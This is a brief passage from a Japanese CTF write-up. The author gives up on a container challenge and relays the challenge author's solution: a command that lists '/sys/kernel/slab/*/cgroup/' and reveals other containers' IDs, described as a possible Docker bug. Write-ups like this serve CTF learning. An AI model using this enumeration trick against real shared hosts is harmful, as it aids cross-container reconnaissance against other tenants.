わからず・・。ここでギブアップ。作問者の writeup によると、 ls /sys/kernel/slab/*/cgroup/ | sort | uniq により他のコンテナの ID も見れるらしい。手元で試してみると確かに見れた。どうも作問者が見つけたDockerのバグ?らしい。
事前に知ってなきゃ無理では?と思ったけど、解けたチームが40チームくらいいたので、そういうわけでもないらしい。findしてそれっぽいものを探したとか?

感想

むずすぎ